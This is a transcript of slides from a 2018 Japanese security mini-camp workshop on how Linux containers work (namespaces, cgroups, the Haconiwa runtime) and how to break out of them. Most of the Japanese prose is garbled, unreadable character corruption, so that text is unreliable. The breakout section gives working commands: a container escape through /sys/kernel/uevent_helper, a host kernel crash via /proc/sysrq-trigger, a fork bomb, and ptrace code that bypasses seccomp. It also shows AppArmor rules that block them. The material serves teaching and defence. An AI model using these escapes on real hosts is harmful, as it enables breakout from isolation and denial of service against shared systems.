コンテナの作り方、壊し方 / Container Structure and Exploitation Method

セキュリティ・ミニキャンプ2018 in 愛媛での資料です。 #seccamp

Transcript

1. ίϯςφͷ࡞Γํɺյ͠ํ ίϯςφͷηΩϡϦςΟΛ஌Ζ͏ ৿ా
   ߒฏ
   !NSUD
   
   (.0
   1FQBCP
   *OD
   
   ηΩϡϦςΟɾϛχΩϟϯϓ
   
   JO
   Ѫඤ
2. (.0ϖύϘ
   ηΩϡϦςΟରࡦࣨ ৿ా
   ߒฏ
   
   
   !NSUD ,PIFJ
   .PSJUB IUUQTCMPHTTSGJO
3. ೥ʹηΩϡϦςΟΩϟϯϓશࠃେձʹࢀՃ
   ೥ΑΓ4&$$0/
   #FHJOOFSTߨࢣ
   େֶࡏֶத͸ΠΤϥΤηΩϡϦςΟʹͯ8FC੬ऑੑ਍அʢΞϧόΠτʣ
   ೥౓*1"ະ౿ΫϦΤΠλʔ
   ೥ʹ(.0ϖύϘגࣜձࣾʹೖࣾ
4. TFDDBNQ
5. ͸͡Ίʹ wຊεϥΠυ͸ʮ۝भηΩϡϦςΟΧϯϑΝϨϯεʯͰಉ྅ͷۙ౻Ӊஐ࿕͞Μ
   @udzura
   ͱൃදͨ͠಺༰ΛҰ෦վมͨ͠΋ͷͰ͋Δ
   wʮίϯςφͷηΩϡϦςΟΛத਎͔Βཧղ͠Α͏ʯ
   wIUUQTTQFBLFSEFDLDPNVE[VSBJOTJEFPVUDPOUBJOFSBOEJUTTFDVSJUZ
   wεϥΠυͷར༻ͷڐՄΛ௖͖ɺҰ෦վม͍ͯ͠·͢
   wշ୚௖͍ͨ
   !VE[VSB
   ͞Μʹײँ͍ͨ͠·͢
6. ͸͡Ίʹ wԋशϝΠϯͳͷͰɺࠔͬͨΒۙ͘ͷਓɺνϡʔλʔ͞ΜΛཔΓ·͠ΐ͏
   wίϚϯυ͕ࣦഊ͢Δɺૢ࡞͕Θ͔Βͳ͍ͳͲ͸ɺͲΜͲΜฉ͍͍ͯͩ͘͞
   wνʔτγʔτΛ༻ҙ͍ͯ͠ΔͷͰ͝׆༻͍ͩ͘͞
   wάϧʔϓͷਓͱ࿩͠ͳ͕ΒਐΊͯ
   0,
   Ͱ͢
   wੵۃతʹձ࿩͍ͯͩ͘͠͞ʂ
7. "HFOEB 
   ίϯςφԾ૝Խͱ͸ʁ
   
   ίϯςφͷ࢓૊ΈΛͷ͍ͧͯΈΑ͏
   
   ίϯςφΛ࡞ͬͯΈΑ͏
   
   ίϯςφͷηΩϡϦςΟϞσϧͱ
   "UUBDL
   4VSGBDFT
   
   ίϯςφΛյͦ͏
8. ࠓ೔ͷΰʔϧ 
   ίϯςφͷ࢓૊ΈΛͬ͘͟Γཧղ͠Α͏
   
   ίϯςφͷηΩϡϦςΟػߏΛ஌Ζ͏
   
   εΠʔενʔζϞσϧΛମݧ͠Α͏
9. 
   ίϯςφԾ૝Խͱ͸ʁ
10. ࣍ͷιϑτ΢ΣΞΛ
    ࢖ͬͨ͜ͱ͕͋Δํʁ
14. Ծ૝Խ
    7JSUVBMJ[BUJPO
15. ͍ΘΏΔԾ૝Խ ϋʔυ΢ΣΞ ϗετ04
    
    ϋΠύʔόΠβ )BSEXBSF
    &NVMBUJPO )BSEXBSF
    &NVMBUJPO )BSEXBSF
    &NVMBUJPO ήετ04 ήετ04 ήετ04 ϥΠϒϥϦ ϥΠϒϥϦ ϥΠϒϥϦ ϓϩάϥϜ ϓϩάϥϜ ϓϩάϥϜ
16. ͍ΘΏΔԾ૝Խ ϋʔυ΢ΣΞ ϗετ04
    
    ϋΠύʔόΠβ )BSEXBSF
    &NVMBUJPO )BSEXBSF
    &NVMBUJPO )BSEXBSF
    &NVMBUJPO ήετ04 ήετ04 ήετ04 ϥΠϒϥϦ ϥΠϒϥϦ ϥΠϒϥϦ ϓϩάϥϜ ϓϩάϥϜ ϓϩάϥϜ
17. ίϯςφԾ૝Խ ϋʔυ΢ΣΞ ϗετ04
    
    -JOVY
    ίϯςφΤϯδϯ ίϯςφΤϯδϯ ίϯςφΤϯδϯ ϥΠϒϥϦ ϥΠϒϥϦ ϥΠϒϥϦ ϓϩάϥϜ ϓϩάϥϜ ϓϩάϥϜ 04ͷػೳ͸ڞ௨Ͱ࢖༻
    ϗετͱಉ͡
    ,FSOFM
    Λ࢖͏
18. ίϯςφ͸Ͳ͜Ͱ࢖ΘΕ͍ͯΔ͔
19. ίϯςφ͕ͲͷΑ͏ʹ࢖ΘΕ͍ͯΔ͔ IUUQTFOXJLJQFEJBPSHXJLJ,VCFSOFUFT
20. ίϯςφͷηΩϡϦςΟ 
    ίϯςφϥϯλΠϜࣗମͷ࣮૷
    
    ίϯςφͷηΩϡϦςΟϙϦγʔ
    
    ίϯςφͷωοτϫʔΫ
     ΦʔέετϨʔγϣϯ
    
    ϚωʔδυαʔϏε
21. ίϯςφͷ࣮૷
22. -9$ )
    "
    $
    0
    /
    *
    8
    " SLU
23. ίϯςφͷϝϦοτ
    QSPT
24. ίϯςφͷϝϦοτ 
    ىಈ͕ߴ଎ɺܰྔ
    
    ϦιʔεΛॊೈʹࡉ੍͔͘ޚՄೳ
25. ίϯςφͷϝϦοτ 
    ىಈ͕ߴ଎ɺܰྔ
    
    ϦιʔεΛॊೈʹࡉ੍͔͘ޚՄೳ Ϋϥ΢υʹ޲͍͍ͯΔ
    ΞϓϦέʔγϣϯΛؙ͝ͱίϯςφԽɺߴ଎ͳσϓϩΠɺ։ൃ
26. ίϯςφͷσϝϦοτ
    DPOT
27. ݖݶ෼཭ Ϧιʔεޮ཰
    
    
    
    
    
    
    
    
    
    
    
    
    
    ϋΠύʔόΠβܕ
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    ιϑτ΢ΣΞܕ
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    ίϯςφܕ ݖݶ෼཭͕ऑ͍
28. 
    ίϯςφͷத਎Λͷ͍ͧͯΈΑ͏
    IUUQTqJDLSQBB,5I
29. ίϯςφ͸Ͳ͏΍ͬͯ
    ίϯςφʹͳ͍ͬͯΔͷ͔ʁ
30. ࣍ͷը໘Λݟͨ͜ͱ͕͋Δํʁ
33. ϓϩηε
    1SPDFTT
34. ίϯςφ͸ϓϩηε
35. $ ./a.out BPVU -JOVYΧʔωϧ ϥΠϒϥϦ γεςϜίʔϧ
36. BPVU $ ps xf -C a.out 3262 ? S 0:00 sshd: vagrant@pts/2 3263 pts/2 Ss 0:00 \_ -bash 3372 pts/2 S+ 0:00 \_ ./a.out
37. BPVU $ ps xf -C a.out 3262 ? S 0:00 sshd: vagrant@pts/2 3263 pts/2 Ss 0:00 \_ -bash 3372 pts/2 S+ 0:00 \_ ./a.out
38. $ ./a.out ࢠϓϩηε ਌ϓϩηε
    CBTIͳͲ ৽͍͠ϓϩάϥϜ fork(2) wait(2) execve(2) execve(“/bin/cat”, …)
39. $ ./a.out ࢠϓϩηε ਌ϓϩηε
    CBTIͳͲ ৽͍͠ϓϩάϥϜ fork(2) wait(2) execve(2) ಛघͳॲཧ
40. ίϯςφ͸ ಛघͳ ϓϩηε
41. ී௨ͷϓϩηεͱίϯςφͷҧ͍ w ίϯςφ͸ಛघͳϓϩηε
    w ۩ମతʹ͸
    ɹ
    ϗετ͔Βಠཱͨ͠ϦιʔεۭؒΛ෇༩͠
    ɹ
    ϗετ͔Βར༻Ͱ͖Δϋʔυ΢ΣΞϦιʔεͳͲʹ੍ݶΛ༩͑Δ
    ɹ͜ͱͰݸผʹಠཱͨ͠࡞ۀۭؒΛ֬อ͍ͯ͠ΔΠϝʔδ
42. ී௨ͷϓϩηεͱίϯςφͷҧ͍ w ίϯςφ͸ಛघͳϓϩηε
    w ۩ମతʹ͸
    ɹ
    ϗετ͔Βಠཱͨ͠ϦιʔεۭؒΛ෇༩͠
    ɹ
    ϗετ͔Βར༻Ͱ͖Δϋʔυ΢ΣΞϦιʔεͳͲʹ੍ݶΛ༩͑Δ
    ɹ͜ͱͰݸผʹಠཱͨ͠࡞ۀۭؒΛ֬อ͍ͯ͠ΔΠϝʔδ -JOVY
    /BNFTQBDF DHSPVQT
43. ʮίϯςφ͸ϓϩηεͰ͋Δʯ
    ͜ͱΛ֬ೝ
44. %PDLFS
    ίϯςφͷىಈ $ docker ps -a CONTAINER ID IMAGE COMMAND 4521880cffa8 minicamp-1 "/usr/sbin/apache2ct…" $ docker start 4521 $ curl localhost:8080 -s | grep '<title>' <title>Apache2 Ubuntu Default Page: It works</title>
45. ϓϩηεπϦʔΛ֬ೝ $ ps auxf $ sudo apt-get install apache2 && sudo systemctl start apache2 
    
    %PDLFS
    ͕࡞ΔϓϩηεπϦʔΛݟΑ͏ 
    
    ϗετͰ௚઀
    BQBDIF
    Λ্ཱͪ͛ͯΈͯϓϩηεπϦʔΛݟΑ͏
46. -JOVY
    /BNFTQBDF
47. -JOVY
    /BNFTQBDF
    Λ֬ೝ͢Δ $ docker ps CONTAINER ID IMAGE COMMAND 4521880cffa8 minicamp-1 “/usr/sbin/apache2ct…" $ docker exec -ti 45 bash # ίϯςφʹʮΞλονʯ͢Δ # ip a # ίϯςφ಺෦ͷωοτϫʔΫΛ֬ೝ͢Δ # exit # ίϯςφ͔Βൈ͚ͯ $ ip a # ϗετͷωοτϫʔΫͱൺֱ͢Δ
48. $ ip a # ϗετଆ 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 02:40:c1:fa:9b:f5 brd ff:ff:ff:ff:ff:ff inet 10.0.2.15/24 brd 10.0.2.255 scope global enp0s3 valid_lft forever preferred_lft forever inet6 fe80::40:c1ff:fefa:9bf5/64 scope link valid_lft forever preferred_lft forever # ip a # Dockerίϯςφଆ 10: eth0@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever
49. $ ip a # ϗετଆ 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 02:40:c1:fa:9b:f5 brd ff:ff:ff:ff:ff:ff inet 10.0.2.15/24 brd 10.0.2.255 scope global enp0s3 valid_lft forever preferred_lft forever inet6 fe80::40:c1ff:fefa:9bf5/64 scope link valid_lft forever preferred_lft forever # ip a # Dockerίϯςφଆ 10: eth0@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever ίϯςφ͸ಉ͡Ϛγϯʹ͋Δϓϩηε
    ʹ΋͔͔ΘΒͣɺಠཱͨ͠ωοτϫʔΫ͕౰͍ͨͬͯΔ
50. ଞͷ
    -JOVY
    /BNFTQBDF
    ΋֬ೝ͢Δ $ docker exec -ti 45 hostname 4521880cffa8 $ hostname ubuntu-xenial w ϗετ໊΋ҟͳ͍ͬͯΔ͜ͱΛ֬ೝͯ͠ΈΑ͏
51. ଞͷ
    -JOVY
    /BNFTQBDF
    ΋֬ೝ͢Δ w ϓϩηεʹ͸ϓϩηε*%
    
    1*%
    
    ͕͋Δ͕ɺͦͷ࠾൪͕ʮಠཱʯ͍ͯ͠Δ
    w ಉ͡
    1*%
    ʹҧ͏ϓϩηεׂ͕Γ౰ͯΒΕ͍ͯΔ͜ͱΛ֬ೝ͠Α͏ $ docker exec -ti 45 ps auxf $ ps auxf
52. Πϝʔδ host-1 192.168.1.1/24 container-1 172.16.1.1/24 container-2 10.1.1.1/24 ϗετ04
    
    -JOVY
    ίϯςφ ίϯςφ w ʮϓϩηεΛ෼཭ʯ͍ͯ͠Δɻ04ͷػೳ͸ϗετͱڞ༗ɻ
53. /BNFTQBDF
    ͸
    Ͳ͜Ͱ֬ೝ͢Δʁ
54. /BNFTQBDF
    ΛݟΔ $ ps auxf | grep -A 10 docker[d] 
    ϗετ͔Βݟͨίϯςφͷ
    "QBDIF
    ͷ
    1*%
    Λ֬ೝ͠Α͏ $ sudo ls -l /proc/$PID/ns 
    ҎԼͷσΟϨΫτϦΛௐ΂Δ $ sudo ls -l /proc/self/ns 
    ϗετͷํ͸Ͳ͏ͳͷ͔ௐ΂ͯ໨
    EJ⒎
    ͠Α͏
55. $ sudo ls -l /proc/3625/ns total 0 lrwxrwxrwx 1 root root 0 Nov 3 03:45 cgroup -> cgroup:[4026531835] lrwxrwxrwx 1 root root 0 Nov 3 03:08 ipc -> ipc:[4026532276] lrwxrwxrwx 1 root root 0 Nov 3 03:08 mnt -> mnt:[4026532274] lrwxrwxrwx 1 root root 0 Nov 3 02:55 net -> net:[4026532279] lrwxrwxrwx 1 root root 0 Nov 3 03:08 pid -> pid:[4026532277] lrwxrwxrwx 1 root root 0 Nov 3 03:45 user -> user:[4026531837] lrwxrwxrwx 1 root root 0 Nov 3 03:08 uts -> uts:[4026532275] $ sudo ls -l /proc/self/ns total 0 lrwxrwxrwx 1 root root 0 Nov 3 03:45 cgroup -> cgroup:[4026531835] lrwxrwxrwx 1 root root 0 Nov 3 03:45 ipc -> ipc:[4026531839] lrwxrwxrwx 1 root root 0 Nov 3 03:45 mnt -> mnt:[4026531840] lrwxrwxrwx 1 root root 0 Nov 3 03:45 net -> net:[4026531957] lrwxrwxrwx 1 root root 0 Nov 3 03:45 pid -> pid:[4026531836] lrwxrwxrwx 1 root root 0 Nov 3 03:45 user -> user:[4026531837] lrwxrwxrwx 1 root root 0 Nov 3 03:45 uts -> uts:[4026531838] ໨
    EJ⒎
    ͠Α͏
56. &OUFS
    UIF
    /BNFTQBDF w ωοτϫʔΫۭؒͷΈʹΞλονͯ͠ΈΑ͏
    
    JQ
    B
    ͷ݁Ռ͸
    %PDLFS
    
    ϗετͱൺ΂ͯͲ͏ʁ
    
    IPTUOBNF
    ͷ࣮ߦ݁Ռ͸ʁ $ sudo nsenter --net -t $PID $ sudo nsenter --uts -t $PID
57. -JOVY
    /BNFTQBDF ໊લۭؒ ֓ཁ 1*%໊લۭؒ 1*%ͷ෼཭ Ϛ΢ϯτ໊લۭؒ ϑΝΠϧγεςϜπϦʔͷ෼཭ *1$໊લۭؒ *1$ͷ෼཭ ωοτϫʔΫ໊લۭؒ ωοτϫʔΫΠϯλʔϑΣΠεͷ෼཭ 654໊લۭؒ ϗετ໊ͷ෼཭ Ϣʔβʔ໊લۭؒ 6*%
    
    (*%
    ͷ෼཭
58. DHSPVQ
59. ίϯςφͷϝϦοτ 
    ىಈ͕ߴ଎ɺܰྔ
    
    ϦιʔεΛॊೈʹࡉ੍͔͘ޚՄೳ
60. ίϯςφͷϝϞϦׂΓ౰ͯΛ֬ೝ 
    ϝϞϦͷׂ౰Λ֬ೝ͠Α͏ $ CID=$(docker inspect -f '{{.ID}}' 45) $ sudo cat /sys/fs/cgroup/memory/docker/$CID/memory.usage_in_bytes $ sudo cat /sys/fs/cgroup/memory/docker/$CID/memory.limit_in_bytes 
    ׂ౰ͷগͳ͍ίϯςφΛ࡞Γɺൺֱ͠Α͏ $ CID2=$(docker run --memory=8m -d minicamp-1); $ sudo cat /sys/fs/cgroup/memory/docker/$CID2/memory.usage_in_bytes $ sudo cat /sys/fs/cgroup/memory/docker/$CID2/memory.limit_in_bytes
61. ൺֱ͠Α͏ 
    ੍ݶͷ༗ແͰίϯςφͷॲཧ଎౓͕ҟͳΔ͜ͱΛ֬ೝ͠Α͏ $ docker exec -ti $CID bash $ docker exec -ti $CID2 bash w
    BQUHFU
    VQEBUF
    Λ࣮ߦͯ͠ΈΑ͏ 
    ௚઀ϝϞϦ࢖༻ྔΛมߋͯ͠ڍಈ͕վળ͢Δ͜ͱΛ֬ೝ͠Α͏ $ echo '128m' | sudo tee /sys/fs/cgroup/memory/docker/$CID2/memory.limit_in_bytes $ docker exec -ti $CID2 bash root@d6a2825b878a:/# apt-get update
62. DHSPVQT
    Ͱ੍ޚͰ͖Δ΋ͷ w $16
    w ϝϞϦ
    w σΟεΫ*0ͷଳҬ
    w ϓϩηε਺
    w FUDʜ
63. 
    ίϯςφΛ࡞ͬͯΈΑ͏ IUUQTqJDLSQBQH/#
64. )BDPOJXB w @udzura
    (.0ϖύϘ ΒʹΑͬͯ։ൃ͞Εͨ
    -JOVY
    ίϯςφϥϯλΠϜ
    w NSVCZ
    Ͱઃఆ΍ϑοΫΛهड़Ͱ͖Δͷ͕ಛ௃
    w IUUQTHJUIVCDPNIBDPOJXBIBDPOJXB $ haconiwa version haconiwa: v0.9.5
65. Πϝʔδ
    
    SPPUGT
    
    Λ࡞Δ $ mkdir /tmp/minicamp $ docker export 45 | sudo tar -xv -f - -C /tmp/minicamp/ $ ls /tmp/minicamp/ bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
66. ઃఆϑΝΠϧΛੜ੒ $ haconiwa init first-container.haco assign new haconiwa name = haconiwa-4ad5ea68 assign rootfs location = /var/lib/haconiwa/4ad5ea68 create first-container.haco
67. ઃఆΛมߋ # -*- mode: ruby -*- Haconiwa.define do |config| # The container name and container's hostname: config.name = "haconiwa-4ad5ea68" # The first process when invoking haconiwa run: config.init_command = "/bin/bash" # If your first process is a daemon, please explicitly daemonize by: # config.daemonize! . . . # The rootfs location on your host OS # Pathname class is useful: root = Pathname.new(“/tmp/minicamp”) config.chroot_to root
68. ίϯςφΛىಈ $ haconiwa run first-container.haco Create lock: #<Lockfile path=/var/lock/.haconiwa-4ad5ea68.hacolock> Container fork success and going to wait: pid=6855 groups: cannot find name for group ID 1000 root@haconiwa-4ad5ea68:/# ps ax PID TTY STAT TIME COMMAND 1 pts/3 S 0:00 /bin/bash 8 pts/3 R+ 0:00 ps ax
69. εΫϥονͰ࡞Ζ͏
70. ·ͣ͸
    GPSL
    
    FYFDWF
    
    DISPPU
    ͚ͩͰ pid = Process.fork do Dir.chroot "/tmp/minicamp/" Dir.chdir "/" Exec.execve ENV, "/bin/bash" end p(Process.waitpid2 pid) $ hacorb test.rb bash-4.3$ pwd / bash-4.3$ ls bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
71. 1*%
    ໊લۭؒΛ෼཭ Namespace.unshare(Namespace::CLONE_NEWPID) pid = Process.fork do Dir.chroot "/tmp/minicamp/" Dir.chdir "/" Exec.execve ENV, "/bin/bash" end $ sudo hacorb test.rb bash-4.3$ mount -t proc proc /proc bash-4.3$ ps aux
72. DHSPVQ
    Λઃఆ limit = “3" Namespace.unshare(Namespace::CLONE_NEWPID) pid = Process.fork do Dir.mkdir "/sys/fs/cgroup/pids/minicamp" rescue nil system "echo #{limit} > /sys/fs/cgroup/pids/minicamp/pids.max" system "echo #{Process.pid} > /sys/fs/cgroup/pids/minicamp/tasks" Dir.chroot "/tmp/minicamp/" Dir.chdir "/" Exec.execve ENV, "/bin/bash" end $ sudo hacorb test.rb # ( echo 'test' | cat ) # bomb () { bomb | bomb & }; bomb
73. ͜͜·Ͱͷ·ͱΊ w ίϯςφ͸ϗετ͔ΒݟΔͱ୯ͳΔϓϩηεͰ͋Δ
    w -JOVY
    ͕࣋ͭίϯςφԽͷػೳΛ૊Έ߹Θ͍ͤͯΔ
    w ϓϩηεͷಠཱੑΛߴΊΔ
    
    /BNFTQBDF
    
    w ϦιʔεΛׂΓ͋ͯΔʢ
    DHSPVQ
    
    w ͦΕҎ֎΋͋ΔΑ
    
    
74. ෼΄Ͳٳܜ IUUQTqJDLSQQU,O/
75. 
    ίϯςφͷηΩϡϦςΟϞσϧͱ
    "UUBDL
    4VSGBDFT IUUQTqJDLSQB)9
76. ίϯςφͷηΩϡϦςΟػߏ w -JOVY
    /BNFTQBDF
    ʹΑΔ෼཭
    w DHSPVQ
    ʹΑΔϦιʔε੍ޚ
77. ίϯςφͷηΩϡϦςΟػߏ w -JOVY
    /BNFTQBDF
    ʹΑΔ෼཭
    w DHSPVQ
    ʹΑΔϦιʔε੍ޚ
    w "QQ"SNPS
    w TFDDPNQ
    w ಛఆͷϑΝΠϧͷύʔϛογϣϯΛམͱ͢
78. ίϯςφԾ૝Խ ϋʔυ΢ΣΞ ϗετ04
    
    -JOVY
    ίϯςφΤϯδϯ ίϯςφΤϯδϯ ίϯςφΤϯδϯ ϥΠϒϥϦ ϥΠϒϥϦ ϥΠϒϥϦ ϓϩάϥϜ ϓϩάϥϜ ϓϩάϥϜ 04ͷػೳ͸ڞ௨Ͱ࢖༻
    ϗετͱಉ͡
    ,FSOFM
    Λ࢖͏
79. "UUBDL
    4VSGBDFT ,FSOFM $POUBJOFS $POUBJOFS $POUBJOFS 6TFS 4FDVSJUZ
    1PMJDZ
    
80. "UUBDL
    4VSGBDFT ,FSOFM $POUBJOFS $POUBJOFS $POUBJOFS 6TFS 4FDVSJUZ
    1PMJDZ
    Χʔωϧͷ੬ऑੑΛಥ͘
81. "UUBDL
    4VSGBDFT ,FSOFM $POUBJOFS $POUBJOFS $POUBJOFS 6TFS 4FDVSJUZ
    1PMJDZ
    ☠ ίϯςφͷઃఆෆඋΛಥ͘ FH
    EPDLFS
    ŠQSJWJMFHFE
82. "UUBDL
    4VSGBDFT ,FSOFM $POUBJOFS $POUBJOFS $POUBJOFS 6TFS 4FDVSJUZ
    1PMJDZ
    ωοτϫʔΫͷઃఆෆඋΛಥ͘
83. "UUBDL
    4VSGBDFT ,FSOFM 6TFS 4FDVSJUZ
    1PMJDZ
    ωοτϫʔΫͷઃఆෆඋΛಥ͘ $POUBJOFS $POUBJOFS $POUBJOFS
84. εΠενʔζϞσϧ w ίϯςφͰར༻͞ΕΔηΩϡϦςΟػߏ͸ɺҰ෦ػೳ͕ॏෳ͍ͯ͠Δ΋ͷ΋͋Δ
    w $BQBCJMJUZ
    ͱ
    TFDDPNQ
    ͷ྆ํͰಛఆͷγεςϜίʔϧΛېࢭ͍ͯͨ͠Γ
    w ͋Δػߏ͕
    #ZQBTT
    ͞Εͯ͠·ͬͯ΋ɺผͷػߏͰ๷͙
    
    ؇࿨͢Δ
85. 
    ίϯςφΛյͦ͏
86. $POUBJOFS
    4FDVSJUZ 04Ϧιʔεͷ෼཭
    
    1SPDFTT
    pMF
    TZTUFN
    FUDʜ
    wDISPPU
    
    QJWPU@SPPU w-JOVY
    /BNFTQBDF wTFDDPNQ w-JOVY
    $BQBCJMJUZ wDHSPVQT w4&-JOVY
    
    "QQ"SNPS ݖݶ
    
    ػೳͷ੍ݶ
    QFSNJTTJPO
    TZTDBMM 04Ϧιʔεͷ੍ݶ
    
    $16
    .FNPSZ
    ΞΫηείϯτϩʔϧ
    
    ಛఆͷϑΝΠϧ΁ͷΞΫηεېࢭ
    ʣ
87. "QQ"SNPS
88. "QQ"SNPS wίϯςφ͸ϗετͱҰ෦ͷϑΝΠϧΛڞ༗͍ͯ͠Δ
    wಡΈॻ͖͕Ͱ͖ΔͱϗετʹӨڹΛٴ΅͢ϑΝΠϧ΋͋Δ
    wFY
    
    /proc/kcore
    
    /proc/sysrq-trigger w3FBE0OMZ
    ͰϚ΢ϯτͨ͠Γɺ"QQ"SNPS
    Ͱ੍ޚ͍ͯ͠Δ
    w΋͠ॻ͖ࠐΊͨ৔߹ʹͲͷΑ͏ͳ͜ͱ͕ى͜Δͷ͔͔֬ΊͯΈΑ͏ʂ
89. /sys/kernel/uevent_helper wuevent
    ͸σόΠε͕௥Ճ
    
    ࡟আ͞Εͨͱ͖ʹΧʔωϧ͕ૹ৴͢ΔΠϕϯτ
    wuevent
    ͕ૹ৴͞Εͨͱ͖ʹɺuevent_helper
    ʹॻ͖ࠐ·Ε͍ͯΔύεͷϓ ϩάϥϜΛ࣮ߦ͢Δ
    wuevent
    ͸Ϣʔβʔϥϯυ͔Βૹ৴Մೳ
    •/sys/devices/virtual/mem/null/uevent •/sys/class/mem/null/uevent
90. ίϯςφΛىಈͯ͠ઃఆ $ haconiwa start sample1.haco root@sample:/# echo “export PATH=$PATH” >> /root/.bashrc root@sample:/# bash root@sample:/# apt-get install gcc
91. ίϯςφ͔Βൈ͚ग़ͯ͠ΈΑ͏ $ haconiwa start sample1.haco root@sample:/# cat /root/hello.sh # ޷͖ͳΤσΟλͰॻ͖ࠐΉ #!/bin/sh echo “Hello, Host! ;)” > /tmp/hello.txt root@sample:/# chmod +x /root/hello.sh root@sample:/# echo “/var/lib/haconiwa/sample/root/hello.sh” > /sys/kernel/uevent_helper
92. ίϯςφ͔Βൈ͚ग़ͯ͠ΈΑ͏ $ ls /tmp/ root@sample:/# echo change > /sys/class/mem/null/uevent $ ls /tmp hello.txt $ cat /tmp/hello.txt hello host! ;)
93. QSPDTZTSRUSJHHFS root@sample1:/# echo c > /proc/sysrq-trigger w/proc/sysrq-trigger
    ʹಛఆͷจࣈྻΛૹ৴͢Δ͜ͱͰϗετΛ࠶ىಈ͞ ͤͨΓΧʔωϧύχοΫΛىͨ͜͠ΓͰ͖Δ
94. "QQ"SNPS deny /usr/bin/top mrwklx, # top ίϚϯυͷಡΈॻ͖࣮ߦΛېࢭ wϓϩάϥϜ୯ҐͰϑΝΠϧ΍ιέοτ΁ͷڧ੍ΞΫηε੍ޚ ."$ Λߦ͏
    wNSLXLMY
    ͸ΞΫηεϞʔυΛද͠ɺS
    ͸
    3FBE
    X
    ͸
    XSJUF
    Y
    ͸࣮ߦΛද͢
    wIUUQNBOQBHFTVCVOUVDPNNBOQBHFTCJPOJDNBOBQQBSNPSE IUNM
95. ๷͍ͰΈΑ͏ $ cat apparmor/haconiwa-test … deny /usr/bin/top mrwklx, deny @{PROC}/sysrq-trigger rwklx, … wIBDPOJXBUFTU
    ϓϩϑΝΠϧΛ
    TBNQMF
    ίϯςφʹద༻ͯ͠ΈΑ͏
96. ๷͍ͰΈΑ͏ $ sudo cp apparmor/haconiwa-test /etc/apparmor.d/haconiwa/ $ sudo apparmor_parser -Kr \ /etc/apparmor.d/haconiwa/haconiwa-test $ cat sample1.haco … config.apparmor = "haconiwa-test" … wIBDPOJXBUFTU
    ϓϩϑΝΠϧΛ
    TBNQMF
    ίϯςφʹద༻ͯ͠ΈΑ͏
97. ๷͍ͰΈΑ͏ $ haconiwa start sample1.haco root@sample1:/# top bash: /usr/bin/top: Permission denied root@sample1:/# echo c > /proc/sysrq-trigger bash: /proc/sysrq-trigger: Permission denied
98. "QQ"SNPS
    ʹΑΔอޢ w3FBE0OMZ
    ͰϚ΢ϯτͨ͠Γɺ"QQ"SNPS
    ʹΑͬͯίϯςφͰར༻Ͱ͖Δί Ϛϯυͷ࣮ߦ΍ϑΝΠϧ΁ͷಡΈॻ͖Λ੍ݶͰ͖Δ
    •/proc/sysrq-trigger •/proc/sys/kernel/core_pattern •/proc/sys/kernel/modprobe •/sys/kernel/uevent_helper
99. TFDDPNQ
100. TFDDPNQ wγεςϜίʔϧͷϑΟϧλϦϯάΛߦ͏࢓૊Έ
     wϗετଆʹΤεέʔϓΛڐͯ͠͠·͏Α͏ͳةݥͳγεςϜίʔϧΛ๷͙ root@sample1:/# mkdir /tmp/hoge Bad system call
101. TFDDPNQ
     Λମݧ͠Α͏ $ cat sample2.haco config.seccomp.filter(default: :allow) do |rule| rule.kill :mkdir # mkdir(2) Λېࢭ end $ sudo haconiwa start sample2.haco root@sample1:/# mkdir /tmp/hoge Bad system call
102. TZTDBMM LFYFD@MPBE JOJU@NPEVMF pOJU@NPEVMF EFMFUF@NPEVMF PQFO@CZ@IBOEMF@BU ৽͍͠ΧʔωϧΛϩʔυͰ͖Δ ΧʔωϧϞδϡʔϧΛϩʔυ ΧʔωϧϞδϡʔϧΛϩʔυ ΧʔωϧϞδϡʔϧΛ࡟আ ϋϯυϧʹରԠ͢ΔϑΝΠϧΛ։͘ ېࢭ͞Ε͍ͯΔγεςϜίʔϧ
103. TFDDPNQ
     ͷ
     CZQBTT wTFDDPNQ
     ϕʔεͷ
     4BOECPY
     ؀ڥ͸Τεέʔϓ͢Δ͜ͱ͕Ͱ͖Δ
     wmkdir(2)
     ͕ېࢭ͞Ε͍ͯͯ΋ճආͰ͖Δ
     wઈରʹ
     ptrace(2)
     ͷ࢖༻ΛڐՄͯ͠͸͍͚ͳ͍ʂ
     wτϨʔα͕ϓϩηεͷγεςϜίʔϧΛมߋͯ͠ϑΟϧλΛόΠύεͰ͖Δ
     wͨͩ͠
     -JOVY
     ,FSOFM
     
     ҎલͷόʔδϣϯͰ௨༻͢Δ
104. TFDDPNQ
     Λ
     CZQBTT
     ͯ͠ΈΑ͏ root@sample1:~/# ls bypass_seccomp.c root@sample1:~/# mkdir dir Bad system call root@sample1:~/# gcc bypass_seccomp.c root@sample1:~/# ./a.out root@sample1:~/# ls -al … drwxr-xr-x 2 root root 4096 Sep 10 12:27 dir # ࡞੒Ͱ͖ͨ
105. NLEJS  TFDDPNQ Bad system call
106. HFUQJE  TFDDPNQ QUSBDF getpid(2) Λݺͼग़͢ঢ়ଶʢϨδελʣΛ mkdir(2) Λݺͼग़͢ঢ়ଶʹมߋ NLEJS 
107. QUSBDF  kill(getpid(), SIGSTOP); syscall(SYS_getpid, SYS_mkdir, "dir", 0777); if (regs.orig_rax == SYS_getpid) { regs.orig_rax = regs.rdi; regs.rdi = regs.rsi; regs.rsi = regs.rdx; regs.rdx = regs.r10; ptrace(PTRACE_SETREGS, pid, NULL, &regs); }
108. -JOVY
     $BQBCJMJUZ
109. wSPPU
     ͷΈ͕࢖༻Ͱ͖ΔݖݶΛɺࡉ੍͔͘ޚͰ͖Δ࢓૊Έ
